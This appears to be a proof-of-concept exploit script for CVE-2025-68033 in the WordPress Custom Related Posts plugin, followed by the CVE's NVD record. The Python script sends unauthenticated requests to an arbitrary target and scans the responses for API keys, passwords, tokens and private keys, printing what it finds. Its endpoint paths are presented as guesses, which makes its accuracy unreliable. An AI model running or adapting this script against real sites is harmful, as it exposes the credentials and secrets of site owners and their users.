CVE-2025-68033

# CVE-2025-68033 PoC - Custom Related Posts Sensitive Data Exposure # Target: WordPress site with Custom Related Posts plugin <= 1.8.0 import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68033""" # Common WordPress plugin endpoints endpoints = [ '/wp-json/custom-related-posts/v1/data', '/wp-content/plugins/custom-related-posts/api.php', '/wp-content/plugins/custom-related-posts/includes/ajax-handler.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-68033 - Custom Related Posts Sensitive Data Exposure") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send GET request without authentication response = requests.get(url, timeout=10, verify=False) # Check for sensitive data exposure indicators if response.status_code == 200: content = response.text # Check for sensitive information patterns sensitive_patterns = [ 'api_key', 'password', 'secret', 'token', 'credential', 'private_key', 'auth' ] for pattern in sensitive_patterns: if pattern.lower() in content.lower(): print(f"[!] VULNERABLE! Sensitive data found: {pattern}") print(f"[!] Response preview:\n{content[:500]}") return True print(f"[*] Endpoint accessible, checking response...") print(f"[*] Response length: {len(content)} bytes") except requests.exceptions.RequestException as e: print(f"[*] Request failed: {e}") print("\n[*] No obvious vulnerability detected, manual verification needed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68033-poc.py <target_url>") print("Example: python cve-2025-68033-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-68033", "sourceIdentifier": "[email protected]", "published": "2026-01-05T11:17:41.680", "lastModified": "2026-04-23T15:35:51.433", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Brecht Custom Related Posts custom-related-posts allows Retrieve Embedded Sensitive Data.This issue affects Custom Related Posts: from n/a through <= 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-related-posts/vulnerability/wordpress-custom-related-posts-plugin-1-8-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}